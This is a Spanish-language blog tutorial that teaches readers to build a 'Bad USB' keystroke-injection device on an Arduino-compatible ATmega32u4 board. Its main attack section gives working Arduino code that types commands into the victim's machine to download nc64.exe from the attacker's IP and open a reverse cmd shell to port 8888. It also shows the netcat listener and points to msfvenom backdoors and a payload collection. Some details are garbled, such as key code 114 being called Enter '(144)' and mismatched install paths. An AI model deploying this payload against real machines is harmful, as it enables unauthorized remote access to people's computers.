lunes, 20 de enero de 2020

Penetration Testing con Bad USB

Hola estimados fieles lectores un placer nuevamente estar con ustedes luego de 3 años. En esta oportunidad les enseñare a crear sus propios Scripts para su dispositivo de Hackeo BAD USB(rubber ducky)

¿Que es Bad USB?

Bad USB es un dispositivo USB que se comporta como otro dispositivo de teclado automatizado, que permite utilizar este dispositivo de manera maliciosa para ataques de pentesting de manera local.

Características:

Microcontroller: ATmega32u4
Clock Speed: 16 MHz
Operating Voltage: 5V DC
Digital I/O Pins: 10
PWM Channels: 4
Analog Input Channels: 5
UART: 1
I2C: 1
Micro USB: 1
Flash Memory: 32 KB of which 4KB used by bootloader
SRAM: 2.5 KB
EEPROM: 1 KB

USB ATMEGA32U4 Development Board Module For Arduino Leonardo R3

Este dispositivo se puso de "moda" en el año 2014 y hasta el día de hoy se sigue utilizando por su eficacia.

Existe un gran demanda de estos dispositivos en varias plataformas de e commerce a nivel mundial. 


A continuación vamos a descargar el IDE Arduino.
(Dependiendo su sistema y arquitectura)





Instalación:

tar -Jxf arduino-1.8.9-linux64.tar.xz 
cd arduino-1.6.12/
./install.sh




Antes de comenzar a crear el script vamos a repasar un poco de arduino.

¿Qué es Arduino?

Arduino es una plataforma y, como tal, dispone de varios elementos: hardware, software y lenguaje de programación. Este libro pretende ampliar tu lenguaje de programación y, teniendo en cuenta la base que hemos visto, no necesitamos añadir más conceptos sobre electrónica y hardware, pero si sobre el IDE de Arduino.

Estructuras de control de flujo repetitivas

Este tipo de estructuras son también conocidas como «bucles»; se diferencian de las estructuras no repetitivas en que, siempre y cuando se cumpla la condición o condiciones, se ejecutan las líneas de código una y otra vez sin salir de la estructura

While

Esta estructura ejecuta las instrucciones que se encuentran entre sus llaves de apertura y cierre. ¿Cuántas veces? Se ejecutarán mientras la condición especificada se cumpla, sin ejecutarse ninguna otra línea de código que se encuentre fuera de la estructura.
while(condición)
{
//Instrucciones que se ejecutan mientras se cumpla la condición
}

Ejemplo:



Programando en Arduino 

Ejemplo 1:

Ejemplo 2:











Aprende arduino aquí:

Una ves instalado el IDE Arduino, ingresamos nuestro Bad USB y buscaremos nuestra placa para poder iniciar la compilación y depuración de nuestro proyecto.




Creando nuestro Backdoor con NC en Arduino IDE

Antes de empezar a explicar un poco el  código fuente debo aclarar que la victima tiene Linux Bash Shell instalado en su sistema y aprovechare esas características para acceder al sistema.






Explicando el código fuente:

----------------------------------------------------------------------------------------------------------------------

 Keyboard.begin();
// Waiting 500ms for init
  delay(500);

  delay(3000);

  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press(114);
  Keyboard.releaseAll();
----------------------------------------------------------------------------------------------------------------------

Estamos indicando el dispositivo pulsee la tecla WINDOWS(KEY_LEFT_GUI) y dando Enter(144) en un tempo determinado de 3 segundos.

Algunas teclas expresiones de teclado:
  • KEY_LEFT_CTRL
  • KEY_LEFT_SHIFT
  • KEY_LEFT_ALT
  • KEY_LEFT_GUI
  • KEY_RIGHT_CTRL
  • KEY_RIGHT_SHIFT
  • KEY_RIGHT_ALT
  • KEY_RIGHT_GUI
  • KEY_UP_ARROW
  • KEY_DOWN_ARROW
  • KEY_LEFT_ARROW
  • KEY_RIGHT_ARROW
  • KEY_BACKSPACE
  • KEY_TAB
  • KEY_RETURN
  • KEY_ESC
  • KEY_INSERT
  • KEY_DELETE
  • KEY_PAGE_UP
  • KEY_PAGE_DOWN
  • KEY_HOME
  • KEY_END
  • KEY_CAPS_LOCK
  • KEY_F1
  • KEY_F2
  • KEY_F3
  • KEY_F4
  • KEY_F5
  • KEY_F6
  • KEY_F7
  • KEY_F8
  • KEY_F9
  • KEY_F10
  • KEY_F11
  • KEY_F12

Equivalencias de otras unidades de tiempo en milisegundos

  • Un centisegundo equivale a 10 milisegundos.
  • Un decisegundo equivale a 100 milisegundos.
  • Un segundo equivale a 1000 milisegundos.
  • Un minuto equivale a 60 000 milisegundos.
  • Una hora equivale a 3 600 000 milisegundos.
  • Un día equivale a 86 400 000 milisegundo
----------------------------------------------------------------------------------------------------------------------
 delay(500);
 Keyboard.print("cmd");
 delay(500);
 typeKey(KEY_RETURN);
 delay(500); 
 Keyboard.print("wget 192.168.0.4&nc64.exe");
 typeKey(KEY_RETURN); 
 delay(50);
 Keyboard.print("START nc64.exe 192.168.0.4 8888 /e cmd.exe /d & exit");
 typeKey(KEY_RETURN);  
 delay(500);
 Keyboard.print("exit");
 typeKey(KEY_RETURN);    
}
----------------------------------------------------------------------------------------------------------------------

Keyboard.print - Aquí añadiremos los valores que deseamos digitar de manera automatizada
typeKey(KEY_RETURN) - Boton Enter.

como podemos ver en el código anterior estoy indicando que descargue un ejecutable NC.exe con la dirección IP y el puerto de escucha de mi ordenador, una ves que se conecte me abrirá el CMD de nuestra victima.

Ejecutamos Netcat en nuestro ordenador para la conexión.
[email protected]:~# nc -l -p 8888

Ahora ingresamos el USB en la PC de nuestra victima para realizar nuestra prueba de concepto.



Reverse Shell CMD


De manera automatizada hemos conseguido acceder al sistema de nuestra victima.
No obstante también pueden subir un backdoor .exe de msfvenom y listo.

Les dejo algunos scripts que pueden utilizar para sus pruebas de concepto:
https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads

Existen herramientas que automatizan los payloads , pero quise hacer este articulo para que comprendas la estructura de un Payload en Arduino.

Saludos.


0 comentarios:

Publicar un comentario

Datos del Autor

Estudiante de Ingeniería de computación y sistemas en Perú.
actualmente me estoy dedicando a dar ponencias sobre seguridad Informática.
Soy una persona sencilla y humilde que me encanta aprender nuevos temas en mis tiempos libres.

"Me considero un novato en busca de conocimiento"


Entradas Populares